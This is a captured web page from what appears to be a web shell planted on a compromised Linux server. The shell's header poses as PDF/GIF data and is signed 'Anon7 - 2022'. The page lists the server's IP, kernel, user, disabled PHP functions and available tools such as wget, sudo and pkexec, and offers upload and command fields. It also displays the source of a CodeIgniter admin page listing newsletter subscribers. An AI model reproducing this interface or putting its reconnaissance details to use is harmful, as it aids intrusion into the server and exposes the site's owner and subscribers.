%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.162
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/views/admin/customers.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');?>
<?php $this->load->view('backend/Common/Head'); ?>
<?php $this->load->view('backend/Common/Header'); ?>
<?php $this->load->view('backend/Common/Sidebar'); ?>
<?php $this->load->view('backend/Common/Menu'); ?>
<!-- page content -->
<div class="right_col" role="main" style="height: 1000px;">
  <div class="">
    <div class="page-title">
      <div class="title_left">
        <h3>Newsletter <small>List  </small></h3>
      </div>
       <div class="title_right">
       
      </div>
    </div>
    
    <div class="clearfix"></div>
<script type="text/javascript">
function areyousure()
{
	return confirm('<?php echo lang('confirm_delete_customer');?>');
}
</script>
<div class="button_set text-right">
 <a title="<?php echo lang('send_email_notification');?>" id="notify1" href="<?php echo site_url($this->config->item('admin_folder').'/customers/send_newsletter'); ?>" class="btn btn-primary"><?php echo 'Send Newsletter';?></a>

	<a href="<?php echo site_url($this->config->item('admin_folder').'/customers/get_subscriber_list');?>" class="btn btn-primary"><?php echo lang('subscriber_download');?></a>
</div>

<table class="table table-striped" cellspacing="0" cellpadding="0">
	<thead>
		<tr>
			<?php /*<th>ID</th> uncomment this if you want it*/ ?>
			
			<?php
			if($by=='ASC')
			{
				$by='DESC';
			}
			else
			{
				$by='ASC';
			}
			?>
			
			<th class="gc_cell_left"><a href="<?php echo site_url($this->config->item('admin_folder').'/customers/index/lastname/');?>/<?php echo ($field == 'lastname')?$by:'';?>"><?php echo lang('lastname');?></a></th>
			<th><a href="<?php echo site_url($this->config->item('admin_folder').'/customers/index/firstname/');?>/<?php echo ($field == 'firstname')?$by:'';?>"><?php echo lang('firstname');?></a></th>
			<th><a href="<?php echo site_url($this->config->item('admin_folder').'/customers/index/email/');?>/<?php echo ($field == 'email')?$by:'';?>"><?php echo lang('email');?></a></th>
			<th><?php echo lang('active');?></th>
			<th class="gc_cell_right"></th>
		</tr>
	</thead>
	
	<tbody>
		<?php
		$page_links	= $this->pagination->create_links();
		
		if($page_links != ''):?>
		<tr><td colspan="5" style="text-align:center"><?php echo $page_links;?></td></tr>
		<?php endif;?>
		<?php echo (count($customers) < 1)?'<tr><td style="text-align:center;" colspan="5">There are currently no subscriber.</td></tr>':''?>
<?php foreach ($customers as $customer):?>
		<tr class="gc_row">
			<?php /*<td style="width:16px;"><?php echo  $customer->id; ?></td>*/?>
			<td><?php echo  $customer->lastname; ?></td>
			<td class="gc_cell_left"><?php echo  $customer->firstname; ?></td>
			<td><a href="mailto:<?php echo  $customer->email;?>"><?php echo  $customer->email; ?></a></td>
			<td>
				<?php if($customer->active == 1)
				{
					echo 'Yes';
				}
				else
				{
					echo 'No';
				}
				?>
			</td>
			<td class="gc_cell_right list_buttons  text-right">
				<a href="<?php echo site_url($this->config->item('admin_folder').'/customers/delete/'.$customer->id); ?>" class="btn btn-xs btn-default" onclick="return areyousure();"><?php echo lang('delete');?></a>
				<!-- <a href="<?php echo site_url($this->config->item('admin_folder').'/customers/form/'.$customer->id); ?>"><?php echo lang('edit');?></a> -->
			</td>
		</tr>
<?php endforeach;
		if($page_links != ''):?>
		<tr><td colspan="5" style="text-align:center"><?php echo $page_links;?></td></tr>
		<?php endif;?>
	</tbody>
</table>

<script>
$('#notify').colorbox({
					width: '550px',
					height: '600px',
					iframe: true
			});
</script>

        <!-- /page content -->
 <?php $this->load->view('backend/Common/Footer'); ?>
  
 </div>
 </div>
 <?php $this->load->view('backend/Common/Script'); ?>

Anon7 - 2022
SCDN GOK